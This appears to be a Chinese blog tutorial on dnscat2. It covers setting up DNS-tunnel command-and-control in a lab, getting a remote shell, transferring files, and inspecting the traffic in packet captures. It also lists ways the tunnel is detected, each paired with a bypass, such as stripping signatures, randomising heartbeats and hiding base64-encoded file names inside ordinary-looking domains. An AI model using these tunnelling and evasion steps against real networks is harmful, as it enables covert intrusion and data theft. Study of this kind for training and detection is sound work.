当前位置:网站首页>内网渗透系列:内网隧道之dnscat2
内网渗透系列:内网隧道之dnscat2
2022-04-23 06:30:00 【思源湖的鱼】
目录
前言
本文研究DNS隧道的一个工具,dnscat2
github:https://github.com/iagox86/dnscat2
一、概述
1、简介
最后更新于2020年,客户端是用 C 编写的,服务器是用 ruby 编写
IP over DNS,通过 DNS 协议创建加密的命令和控制 (C&C) 通道,直接运行工具即可实现数据传输、文件操作等命令和控制功能
- 利用合法DNS服务器实现DNS隧道
- C/S(dnscat/ dnscat2.rb)结构
- 默认混合使用TXT、CNAME、MX记录加密(base64)传输数据
- 支持直连/中继
- 提供好多命令和服务
2、原理
DNS原理见:一文搞明白DNS与域名解析
客户端:
-
在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。
-
运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端。
-
如果没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显,防火墙经常会阻止此模式
服务端:
-
Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。
-
当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。
3、用法
(1)服务端
安装
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
使用
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456 # abc.com 自定义DNS传输的域名;--secret 自定义连接密码
sudo ruby./dnscat2.rb --dns host=127.0.0.1,port=533 --secret=123456 #设置监听端口
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #--security 规定了安全级别;--no-cache 禁止缓存
(2)客户端
安装
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
使用
dnscat --secret=123456 abc.com
dnscat --dns server=<your dnscat2 server ip>,port=553 --secret=123456
(3)使用隧道
内置了很多服务
服务端的控制台输入:windows,即可以看到一个客户端上线:
1 :: command (DESKTOP-7NSDT5)……
1表示该客户端ID,如果使用window -i 1,即可进入该通道;
键入shell,即可得到一个半交互shell!(功能有点强)
help可查看控制台支持的命令,常用的有:
quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)
连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)
二、实践
1、测试场景
(1)攻击机
Kali2021 192.168.10.128
(2)DNS服务器
windows server 2008 :192.168.10.200
设置静态IP,参见https://blog.csdn.net/pockeyfan/article/details/42063683
新建A记录,指向服务端kali

新建一个委托(即NS记录)指向刚刚设定的A记录的域名

再建一个A记录指向windows server自己

(3)目标机
Ubuntu 18.04 192.168.10.129
由于模拟的是DNS服务器是真正的权威服务器,即目标机应该能DNS解析到DNS服务器,所以要把目标机的DNS解析改下

nslookup检测下

2、建立隧道
(1)服务端
安装
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
启动

(2)客户端
安装
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
启动

(3)使用
在创建的window 1 中可以进行下步命令
dnscat提供了大量命令,用?可以获取,这里展示一个shell

3、抓包看看
建立隧道

心跳包,CNAME、TXT、MX混用,但是域名是异常域名

三、探索
1、源码与分析
TODO
2、检测与绕过
(1)特征字符串
工具作者的恶趣味,内容里加了个dnscat

绕过方法:删掉即可
(2)异常DNS数据包数量
虽然将命令放在了心跳包里,没有造成某时刻的密集数据包,但是总的数据包数量还是大于正常的,且心跳包的间隔也是个问题
绕过方法:心跳包间隔拉长,甚至随机;数据包数量换UDP socket重新建立
(3)异常域名
所有包的域名都很异常,可以通过长度、熵等办法检测
绕过方法:心跳包用正常域名,命令可以base64后拆分
比如现在要把一个文件名 finalexamanswer.doc 传出去
base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名,变成 Zm -> zone.music.domain,lu -> login.user.domain,YW``yun.web.domain …
(4)特殊记录类型
虽然已经TXT、MX、CNAME混用了,但还是有点特殊
绕过办法:加入A和AAAA混合
结语
dnscat2将C2直接写进了工具中,这很厉害,同时也很有可能带来更多特征
版权声明
本文为[思源湖的鱼]所创,转载请带上原文链接,感谢
https://fishpond.blog.csdn.net/article/details/119210434
边栏推荐
- Automatically fit single line text into the target rectangle
- STO With Billing 跨公司库存转储退货
- Dropping Pixels for Adversarial Robustness
- Houdini流体>>粒子流体导出到unity笔记
- Zhuang understand's TA notes (VI) < fakeenvreflect & rust, rust effect >
- 关于unity获取真实地理地图转3D化的相关链接
- Encapsulate the debug function of unity
- ABAP ALV显示金额与导出金额不一致
- unity UGUI判断点击在UI上和3D物体上的解决方案
- Unity ugui determines the solution of clicking on the UI and 3D objects
猜你喜欢

Understanding the Role of Individual Units in a Deep Neural Networks(了解各个卷积核在神经网络中的作用)

When using flash, the code ends automatically without an error, the connection cannot be maintained, and the URL cannot be accessed.

linux下mysql数据库备份与恢复(全量+增量)

Houdini>建筑道路可变,学习过程笔记

Unity C single case mode learning review notes

How to present your digital portfolio: suggestions from creative recruiters

Houdini > variable building roads, learning process notes

Dropping Pixels for Adversarial Robustness

Protobuf 使用

Use of command line parameter passing library argparse
随机推荐
使用flask时代码无报错自动结束,无法保持连接,访问不了url。
C # use laida criterion (3) σ Criteria) reject abnormal data (.Net reject singular values in a group of data)
One of event management
NodeJS(六) 子进程操作
SAP STO With Billing流程与配置
NodeJS(四) 字符读取
Unity get real geographic map application terrain notes
Weblux file upload and download
Solve the problem of deploying mysql8 in docker with correct password but unable to log in to MySQL
从零开始完整学习机器学习和深度学习,包括理论和代码实现,主要用到scikit和MXNet,还有一些实践(kaggle上的)
FUEL: Fast UAV Exploration using Incremental Frontier Structure and Hierarchical Planning
Unity ugui determines the solution of clicking on the UI and 3D objects
IT高薪者所具备的人格魅力
Houdini流体>>粒子流体导出到unity笔记
UnityShader基础
NodeJS(二)同步读取文件和异步读取文件
Houdini地形与流体解算(模拟泥石流)
The projection vector of a vector to a plane
Export all SVG files in the specified path into pictures in PNG format (thumbnail or original size)
Use of command line parameter passing library argparse